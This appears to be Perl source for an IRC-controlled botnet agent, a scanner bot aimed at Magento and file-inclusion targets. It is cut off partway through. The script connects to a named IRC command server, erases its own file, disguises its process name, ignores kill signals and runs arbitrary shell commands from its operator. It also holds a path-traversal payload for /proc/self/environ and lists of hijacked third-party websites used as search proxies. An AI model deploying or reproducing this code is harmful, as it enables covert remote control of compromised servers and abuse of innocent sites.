#!/usr/bin/perl use HTTP::Request; use HTTP::Request::Common; use HTTP::Request::Common qw(POST); use LWP::Simple; use LWP 5.64; use LWP::UserAgent; use Socket; use IO::Socket; use IO::Socket::INET; use IO::Select; use MIME::Base64; use URI::Escape; use Digest::MD5 qw(md5_hex); use DBI; #use DBD::mysql; #use MIME::Lite; my $datetime = localtime; my $fakeproc = "javacontent"; my $ircserver = "scan.69.mu"; my $ircport = "7000"; my $number = int(rand(9)); my $nickname = "mangentot"; my $ident = "scans"; my $channel = "#pHp"; my $chanxxx = "#pHp"; my $admin = "sEm"; my $fullname = "11,1AnaK4@11RanTau"; my $rawmsg = $ARGV[4]; my $msgraw = $ARGV[5]; my $ngilang = "rm -rf"; qx($ngilang $0); my $nob0dy = "11,1AnaK4@11RanTau"; my $magelogo = "8,1*9*8* 9MAGENTO 8*9*8* "; my $magecmd = "!mage"; my $shopcmd = "-s2"; my $shop2cmd = "-sh2"; my $bin = "!bin2"; my $cmdlfi = ".cmdlfi"; my $ftpcmd = "!ftp"; my $gps = 1; my $gps2 = 1; my $timot = 0; my $mag_shell = "mage.zip"; my $silentmode = 1; my $uagent = "Microsoft Internet Explorer/4.0b1 (Windows 95)","Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)","Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)","Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)","Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)","Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)","Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)","Mozilla/4.0 (compatible; MSIE 7.0b; Win32)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Microsoft Pocket Internet Explorer/0.6","Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)","MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)","Advanced Browser (http://www.avantbrowser.com)","Avant Browser (http://www.avantbrowser.com)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)","Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)","Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)","Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511","Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox","Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b","Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0","Mozilla/3.0 (OS/2; U)","Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)","Mozilla/4.61 (Macintosh; I; PPC)","Mozilla/4.61 [en] (OS/2; U)","Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)","Mozilla/4.8 [en] (Windows NT 5.0; U)"; my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000"; my @rand1 = ( "http://www.anz.udo.edu.ve/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q=", "http://turismo.uladech.edu.pe/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q=", "http://www.astcl.com/astcl/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q=", "http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q=", "http://w2.portais.atrio.scire.net.br/upe-ppte/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.anz.udo.edu.ve/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.com%2Fsearch?q=", "http://www.ski-freizeit-reisen.de/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://p.istu.ru//components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.telsonet.pl/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.iestpjasdc.edu.pe/contabilidad/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=" ); my @rand2 = ( "http://www.r-islam.com/en/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.asesoriaentesis.com/components/com_mailto/error.php?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q=", "http://www.thermona-ekb.ru/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://blackhaircafe.com/includes/js/tabs/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.upguatemala.org/components/com_content/models/search.php?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q=", "http://pliki.modr.mazowsze.pl/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://pictoborden.nl/site/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.bendit.co/backside/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.gambinigroup.it/media/mailto/error.php?____pgfa=https%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.pebk.de/joomla/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://upgrade.3t.aprs.la/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://cakrawalaproteksi.com/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=" ); my @rand3 = ( "http://nutritie-wellness.ro/var/package/tmp/error.php?____pgfa=http%3A%2F%2Fwww.google.com%2Fsearch?q=", "http://www.asesoriaentesis.com/components/com_mailto/error.php?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q=", "http://w2.portais.atrio.scire.net.br/upe-ppte/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://komunikacyjni.pl/wp-content/calander-date.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.infobeton.fr/administrator/components/com_weblinks/views/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", ); my @rand4 = ( "http://www.iscavets.be/administrator/components/com_weblinks/views/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.vacanzeincampagna.it/components/com_weblinks/views/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://liftoffconsulting.ca/wp-includes/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.thermona-ekb.ru/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://imotionasia.com.vn/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://blackhaircafe.com/includes/js/tabs/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.aramea.co/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", "http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q=", ); my $x1 = $rand1[rand(scalar(@rand1))]; my $x2 = $rand2[rand(scalar(@rand2))]; my @bypasser = ("http://www.solartrading.de/logs/arhybypass.php","http://product.it/google.php","http://www.asiandogs.ru/dog/google.php","http://www.alexgretter.com/google.php"); my $bypass = $bypasser[rand(scalar(@bypasser))]; my $jack1 = "http://www.r-islam.com/en/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q="; my $jack2 = $rand1[rand(scalar(@rand1))]; my $jack3 = "http://www.asesoriaentesis.com/components/com_mailto/error.php?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q="; my $jack4 = $rand1[rand(scalar(@rand1))]; my $jack5 = "http://www.upguatemala.org/components/com_content/models/search.php?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q="; my $jack6 = $rand1[rand(scalar(@rand1))]; my $jack7 = "http://www.thermona-ekb.ru/errors.php?q=https%3A%2F%2Fwww.google.co.nz%2Fsearch?q="; my $jack8 = $rand1[rand(scalar(@rand1))]; my $jack9 = "http://blackhaircafe.com/includes/js/tabs/errors.php?q=http%3A%2F%2Fwww.google.co.id%2Fsearch?q="; my $jack10 = $rand1[rand(scalar(@rand1))]; my $jack11 = "http://www.upguatemala.org/components/com_content/models/search.php?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q="; my $jack12 = $rand1[rand(scalar(@rand1))]; my $jack13 = "http://pliki.modr.mazowsze.pl/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q="; my $jack14 = $rand1[rand(scalar(@rand1))]; my $jack15 = "http://pictoborden.nl/site/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q="; my $jack16 = $rand1[rand(scalar(@rand1))]; my $jack17 = "http://www.bendit.co/backside/media/mailto/error.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q="; my $jack18 = $rand1[rand(scalar(@rand1))]; my $jack19 = "http://www.gambinigroup.it/media/mailto/error.php?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q="; my $jack20 = $rand1[rand(scalar(@rand1))]; my $jack21 = "http://www.pebk.de/joomla/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q="; my $jack22 = $rand1[rand(scalar(@rand1))]; my $jack23 = "http://upgrade.3t.aprs.la/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.ch%2Fsearch?q="; my $jack24 = $rand1[rand(scalar(@rand1))]; my $jack25 = "http://www.infobeton.fr/administrator/components/com_weblinks/views/errors.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q="; my $jack26 = $rand1[rand(scalar(@rand1))]; my $jack27 = $rand1[rand(scalar(@rand1))]; my $indra = $rand3[rand(scalar(@rand3))]; my $cek = $rand1[rand(scalar(@rand1))]; my $dom = $rand4[rand(scalar(@rand4))]; my $file = $rand2[rand(scalar(@rand2))]; my $jabrix = $rand1[rand(scalar(@rand1))]; my $shunceng = "http://www.aramea.co/components/com_mailto/error.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q="; my $suspect = "http://blackhaircafe.com/includes/js/tabs/errors.php?q=http%3A%2F%2Fwww.google.co.nz%2Fsearch?q="; my $samri = $rand2[rand(scalar(@rand2))]; my $Bp1 = "http://www.schilddruesenzentrum-wuerzburg.de/google.php?key="; my $Bp2 = "http://www.xprime.ch/datasheet/google.php?key="; my $Bp3 = "http://marrecowake.com.br/loja/google.php?key="; my $Bp4 = "http://www.cacheposcamboriu.com.br/_images/google.php?key="; my $Bp5 = "http://sevenmedia.in/7chart/google.php?key="; my $Bp6 = "http://store.soho-pbx.com//images/google.php?key="; my $Bp7 = "http://ec.sydt.com.tw/images/indra/x/indra/google.php?key="; my $Bp8 = "http://www.mercacosmetica.com//banners/google.php?key="; my $Bp9 = "http://www.televantage.co//images/stories//google.php?key="; my $Bp10 = "http://www.semneartemis.ro/admin/google.php?key="; my $Bp11 = "http://www.gem.uva.es/components/com_jupgrade/google.php?key="; my $Bp12 = "http://www.rmk.te.ua//components/com_content/models/google.php?key="; my $engine = "shuncengAC,shuncengAD,shuncengAE,shuncengAF,shuncengAG,shuncengAL,shuncengAM,shuncengAN,shuncengAT,shuncengAR,shuncengAU,shuncengBE,shuncengHU,shuncengORG,shuncengCOM,shuncengNeT,shuncengPL,shuncengIT,shuncengID,shuncengMY,shuncengES,shuncengUK,shuncengUS,shuncengJP,shuncengKR,shuncengDE,shuncengDK,shuncengCA,shuncengBR,shuncengRO,shuncengRU,shuncengNL,shuncengINFO,shuncengFR,shuncengIN,shuncengMX,shuncengCZ,shuncengCL,shuncengUA,shuncengCN,shuncengIR,shuncengTH,shuncengEU,shuncengPH,shuncengIL,shuncengIM,shuncengSI,shuncengBIZ,domAC,domAD,domAE,domAF,domAG,domAL,domAM,domAN,domAT,domAR,domAU,domBE,domHU,domORG,domCOM,domNeT,domPL,domIT,domID,domMY,domES,domUK,domUS,domJP,domKR,domDE,domDK,domCA,domBR,domRO,domRU,domNL,domINFO,domFR,domIN,domMX,domCZ,domCL,domUA,domCN,domIR,domTH,domEU,domPH,domIL,domIM,domSI,domBIZ,suspectAC,suspectAD,suspectAE,suspectAF,suspectAG,suspectAL,suspectAM,suspectAN,suspectAT,suspectAR,suspectAU,suspectBE,suspectHU,suspectORG,suspectCOM,suspectNeT,suspectPL,suspectIT,suspectID,suspectMY,suspectES,suspectUK,suspectUS,suspectJP,suspectKR,suspectDE,suspectDK,suspectCA,suspectBR,suspectRO,suspectRU,suspectNL,suspectINFO,suspectFR,suspectIN,suspectMX,suspectCZ,suspectCL,suspectUA,suspectCN,suspectIR,suspectTH,suspectEU,suspectPH,suspectIL,suspectIM,suspectSI,suspectBIZ,engAC,engAD,engAE,engAF,engAG,engAL,engAM,engAN,engAT,engAR,engAU,engBE,engHU,engORG,engCOM,engNeT,engPL,engIT,engID,engMY,engES,engUK,engUS,engJP,engKR,engDE,engDK,engCA,engBR,engRO,engRU,engNL,engINFO,engFR,engIN,engMX,engCZ,engCL,engUA,engCN,engIR,engTH,engEU,engPH,engIL,engIM,engSI,engBIZ,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,AC,AD,AE,AF,AG,AL,AM,AN,AT,AR,AU,BE,HU,OrG,CoM,NeT,PL,IT,ID,MY,ES,UK,US,JP,XXX,TEL,TV,CC,MIL,ASIA,NAME,PRO,TRAVEL,JOBS,MOBI,AERO,CAT,COOP,EDU,GOV,MUSEUM,KR,DE,DK,CA,BR,RO,RU,NL,InfO,FR,IN,MX,CZ,CL,UA,CN,IR,TH,EU,PH,IL,IM,SI,BIZ,AS,AI,AG,AZ,BH,BD,BZ,BO,BA,BW,VG,BG,BI,CO,CD,CG,CK,CR,HR,CU,CI,DJ,DM,DO,EC,EG,SV,EE,ET,FJ,FI,GM,GI,GR,GL,GT,GG,HT,HN,HK,IS,IE,IM,JE,JO,KZ,KE,KG,LV,LS,LY,LI,LT,LU,MW,MT,MU,FM,MN,MS,MA,NA,NP,NZ,NI,NF,NO,OM,PK,PA,PY,PE,PN,PT,PR,QA,RW,SH,SM,SA,SN,SC,SG,SK,ZA,LK,VC,SE,CH,TW,TJ,BS,TO,TT,TR,TM,VI,UG,UY,UZ,VE,VN,ZM,WS,AF,AX,AL,DZ,AO,AQ,AM,AW,AC,BJ,BM,BT,BW,IO,BN,BF,KH,CM,CV,KY,CF,CX,CW,CY,FK,FO,GH,GD,GP,GU,GN,GY,HM,IQ,JM,KI,KW,LA,LB,LR,MO,MG,MV,MP,MQ,MR,YT,MD,MC,ME,MZ,NR,NC,NG,NU,PW,PS,CQ,RE,LC,PM,ST,RS,GS,SL,SX,SB,SO,SU,KN,SR,SZ,TZ,TL,TG,TK,TN,TC,VU,WF,YW,ZW,GooGLe,Yahoo2,KvaSiR,QuinT,Pagina,Clix,ask2,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam,webcrawler,clusty,witch,amidalla,gibla,mywebsearch,dogpile,infocom,searchcom,teoma,volunia,becak,bokep,searchnz,Bypass,Bypass2,AllGooGLe,Marlboro,Mustang,Surya,Vegas,Viper,U-Mild,Tanggida'a,Tanggikiki,Bengsol,Tapa,Ayula,Dulomo,MicroPhone,Monitor,Mouser,Keyboard,Cable,CPU,Modem,Rooter,Printer,FlashDISC,CDroom,HDD,GooGle1,GooGle3,GooGle4,GooGle5,GooGle6,GooGle7,GooGle8,GooGle9,GooGlea2,GooGLeC1,GooGLeC2,GooGLeC3,GooGLeC4,GooGLeC5"; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; #chdir("/"); $ircserver = "$ARGV[0]" if $ARGV[0]; $ircport = "$ARGV[1]" if $ARGV[1]; $nickname = "$ARGV[2]" if $ARGV[2]; $channel = '#'."$ARGV[3]" if $ARGV[3]; $0 = "$fakeproc"."\0" x 16; my $pid = fork; exit if $pid; die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_client = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub connector { my $mynick = $_[0]; my $ircserver_con = $_[1]; my $ircport_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_client->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con"; $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost; nick("$mynick"); sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname"); sleep(1);}} sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($mynick)) { $mynick = $4; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick($mynick.int(rand(5))); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $mynick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; sendraw("MODE $mynick +Bx"); sendraw("NS id beleky"); sleep(3); sendraw("JOIN $channel correct"); sendraw("JOIN $chanxxx mejen"); sleep(1); sendraw("PRIVMSG $channel :Dunia Sementara Akhirat Selamanya"); sendraw("PRIVMSG $admin :Hi $admin i love you...!!"); } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); } select(undef, undef, undef, 0.01); delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_client->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $mynick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $ircmsg, 4096); if ($nread == 0) { $sel_client->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $ircmsg); $ircmsg =~ s/\r\n$//; if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5); if ($path eq $mynick) { if ($msg =~ /^PING (.*)/) { sendraw("NOTICE $nick :PING $1"); } if ($msg =~ /^VERSION/) { sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey"); } if ($msg =~ /^TIME/) { sendraw("NOTICE $nick :TIME ".$jam.""); } if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); } if (&isAdmin($nick) && $msg eq "!killall") { &shell("$path","killall -9 perl"); } if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); } if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1); } if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); } if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) { sendraw("NICK ".$1); } if (&isAdmin($nick) && $msg =~ /^!pid/) { sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$"); } if (&isAdmin($nick) && $msg !~ /^!/) { &shell("$nick","$msg"); } if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) { sendraw("$rawmsg $msgraw ".$1); } if (&isAdmin($nick) && $msg =~ /^!say (.+)/) { sendraw("PRIVMSG $rawmsg ".$1); } if (&isAdmin($nick) && $msg =~ /^!act (.+)/) { sendraw("PRIVMSG $rawmsg :ACTION ".$1.""); } if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) { $newtimot = $1; $timot = $newtimot; &msg("$admin","8,1 Get Content TimeOut change to4 $timot "); } if (&isAdmin($nick) && $msg =~ /^!gantichan\s+(.+) -d/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { $newchan = $1; $chanxxx = $newchan; &msg("$admin","8,1 ganti chaneel ke 4 $chanxxx "); }}} } else { if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); } if (&isAdmin($nick) && $msg eq "!killall") { &shell("$path","killall -9 perl"); } if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); } if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1); } if (&isAdmin($nick) && $msg eq "!part") { sendraw("PART $path"); } if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); } if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) { &shell("$path","$1"); } if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) { &shell("$path","$1"); } if ($msg=~ /^!silent\s+(.*) -d/) { $smod = $1; if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; } elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; } &msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!"); } if ($msg=~ /^!jackx\s+(.*) -d/) { $engmod = $1; if ($engmod =~ /ON/) { $gps = 1; $gpsstat = "ACTIVATED"; } elsif ($engmod =~ /OFF/) { $gps = 0; $gpsstat = "DEACTIVATED"; } &msg("$path","9,1[4!9]Jack Engine15 $gpsstat !!!!"); } if ($msg=~ /^!engine\s+(.*) -d/) { $engmod = $1; if ($engmod =~ /ON/) { $gps2 = 1; $gpsstat = "ACTIVATED"; } elsif ($engmod =~ /OFF/) { $gps2 = 0; $gpsstat = "DEACTIVATED"; } &msg("$path","9,1[4!9]Multi Engine15 $gpsstat !!!!"); } if ($msg=~/^-bypass/){ my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = "";my $bystats6 = "";my $bystats7 = "";my $bystats8 = ""; my $cekby1 = &get_content($indra."search"); if ($cekby1 =~ /search/i){ $bystats1 = "9 Up!!!"; } else { $bystats1 = "4 Lost!!!"; } my $cekby2 = &get_content($shunceng."search"); if ($cekby2 =~ /search/i){ $bystats2 = "9 Up!!!"; } else { $bystats2 = "4 Lost!!!"; } my $cekby3 = &get_content($samri."search"); if ($cekby3 =~ /search/i){ $bystats3 = "9 Up!!!"; } else { $bystats3 = "4 Lost!!!"; } my $cekby4 = &get_content($jabrix."search"); if ($cekby4 =~ /search/i){ $bystats4 = "9 Up!!!"; } else { $bystats4 = "4 Lost!!!"; } my $cekby5 = &get_content($file."search"); if ($cekby5 =~ /search/i){ $bystats5 = "9 Up!!!"; } else { $bystats5 = "4 Lost!!!"; } my $cekby6 = &get_content($cek."search"); if ($cekby6 =~ /search/i){ $bystats6 = "9 Up!!!"; } else { $bystats6 = "4 Lost!!!"; } my $cekby7 = &get_content($dom."search"); if ($cekby7 =~ /search/i){ $bystats7 = "9 Up!!!"; } else { $bystats7 = "4 Lost!!!"; } my $cekby8 = &get_content($suspect."search"); if ($cekby8 =~ /search/i){ $bystats8 = "9 Up!!!"; } else { $bystats8 = "4 Lost!!!"; } &msg("$path","| 7,1indra = $bystats1 | 7,1Shunceng = $bystats2 | 7,1Samri = $bystats3 | 7,1Jabrix = $bystats4 | 7,1File = $bystats5 | 7,1Cek = $bystats6 | 7,1DOM = $bystats7 | 7,1suspect = $bystats8 |") } if (&isAdmin($nick) && $msg eq "!bypass") { my $bystats1 = ""; my $bystats2 = ""; my $bystats3 = ""; my $bystats4 = ""; my $bystats5 = ""; my $bystats6 = ""; my $bystats7 = ""; my $bystats8 = ""; my $bystats9 = ""; my $bystats10 = ""; my $cekby1 = &get_content($jack1."search"); my $cekby2 = &get_content($jack2."search"); my $cekby3 = &get_content($jack3."search"); my $cekby4 = &get_content($jack4."search"); my $cekby5 = &get_content($jack5."search"); my $cekby6 = &get_content($jack6."search"); my $cekby7 = &get_content($jack7."search"); my $cekby8 = &get_content($jack8."search"); my $cekby9 = &get_content($jack9."search"); my $cekby10 = &get_content($jack10."search"); if ($cekby1 =~ /search/i){ $bystats1 = "9Up!"; } else { $bystats1 = "4Lost!"; } if ($cekby2 =~ /search/i){ $bystats2 = "9Up!"; } else { $bystats2 = "4Lost!"; } if ($cekby3 =~ /search/i){ $bystats3 = "9Up!"; } else { $bystats3 = "4Lost!"; } if ($cekby4 =~ /search/i){ $bystats4 = "9Up!"; } else { $bystats4 = "4Lost!"; } if ($cekby5 =~ /search/i){ $bystats5 = "9Up!"; } else { $bystats5 = "4Lost!"; } if ($cekby6 =~ /search/i){ $bystats6 = "9Up!"; } else { $bystats6 = "4Lost!"; } if ($cekby7 =~ /search/i){ $bystats7 = "9Up!"; } else { $bystats7 = "4Lost!"; } if ($cekby8 =~ /search/i){ $bystats8 = "9Up!"; } else { $bystats8 = "4Lost!"; } if ($cekby9 =~ /search/i){ $bystats9 = "9Up!"; } else { $bystats9 = "4Lost!"; } 